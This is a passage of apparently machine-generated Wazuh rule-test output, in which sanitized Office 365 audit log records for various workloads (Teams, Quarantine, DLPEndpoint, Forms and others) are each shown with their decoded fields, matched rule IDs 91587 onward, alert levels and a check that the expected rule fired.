"91586", "level": "3", "expected_decoder": "json", "expected_rule": "91586", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 HRSignal"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"MicrosoftTeamsDevice\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"59\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "59", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "MicrosoftTeamsDevice"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91587", "level": "3", "expected_decoder": "json", "expected_rule": "91587", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 MicrosoftTeamsDevice"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"MicrosoftTeamsAnalytics\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"60\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "60", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "MicrosoftTeamsAnalytics"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91588", "level": "3", "expected_decoder": "json", "expected_rule": "91588", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 MicrosoftTeamsAnalytics"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"InformationWorkerProtection\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"61\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "61", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "InformationWorkerProtection"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91589", "level": "7", "expected_decoder": "json", "expected_rule": "91589", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 InformationWorkerProtection"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"Campaign\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"62\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "62", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "Campaign"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91590", "level": "5", "expected_decoder": "json", "expected_rule": "91590", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 Campaign"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"DLPEndpoint\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"63\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "63", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "DLPEndpoint"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91591", "level": "3", "expected_decoder": "json", "expected_rule": "91591", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 DLPEndpoint"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"AirInvestigation\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"64\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "64", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "AirInvestigation"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91592", "level": "5", "expected_decoder": "json", "expected_rule": "91592", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 AirInvestigation"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"Quarantine\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"65\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "65", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "Quarantine"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91593", "level": "9", "expected_decoder": "json", "expected_rule": "91593", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 Quarantine"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"MicrosoftForms\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"66\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "66", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "MicrosoftForms"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91594", "level": "3", "expected_decoder": "json", "expected_rule": "91594", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 MicrosoftForms"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"ApplicationAudit\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"67\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "67", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "ApplicationAudit"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91595", "level": "3", "expected_decoder": "json", "expected_rule": "91595", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 ApplicationAudit"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"ComplianceSupervisionExchange\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"68\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "68", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "ComplianceSupervisionExchange"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91596", "level": "3", "expected_decoder": "json", "expected_rule": "91596", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 ComplianceSupervisionExchange"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"CustomerKeyServiceEncryption\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"69\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "69", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "CustomerKeyServiceEncryption"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91597", "level": "5", "expected_decoder": "json", "expected_rule": "91597", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 CustomerKeyServiceEncryption"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"OfficeNative\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"70\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "70", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "OfficeNative"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91598", "level": "5", "expected_decoder": "json", "expected_rule": "91598", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 OfficeNative"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"MipAutoLabelSharePointItem\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"71\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "71", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "MipAutoLabelSharePointItem"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91599", "level": "3", "expected_decoder": "json", "expected_rule": "91599", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 MipAutoLabelSharePointItem"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"MipAutoLabelSharePointPolicyLocation\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"72\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "72", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "MipAutoLabelSharePointPolicyLocation"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91600", "level": "3", "expected_decoder": "json", "expected_rule": "91600", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 MipAutoLabelSharePointPolicyLocation"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"MicrosoftTeamsShifts\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"73\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "73", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "MicrosoftTeamsShifts"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91601", "level": "3", "expected_decoder": "json", "expected_rule": "91601", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 MicrosoftTeamsShifts"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"MipAutoLabelExchangeItem\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"75\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "75", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "MipAutoLabelExchangeItem"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91602", "level": "3", "expected_decoder": "json", "expected_rule": "91602", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 MipAutoLabelExchangeItem"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"CortanaBriefing\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"76\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "76", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "CortanaBriefing"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91603", "level": "3", "expected_decoder": "json", "expected_rule": "91603", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 CortanaBriefing"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"Search\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"77\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "77", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "Search"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91604", "level": "3", "expected_decoder": "json", "expected_rule": "91604", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 Search"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"WDATPAlerts\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"78\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "78", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "WDATPAlerts"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", 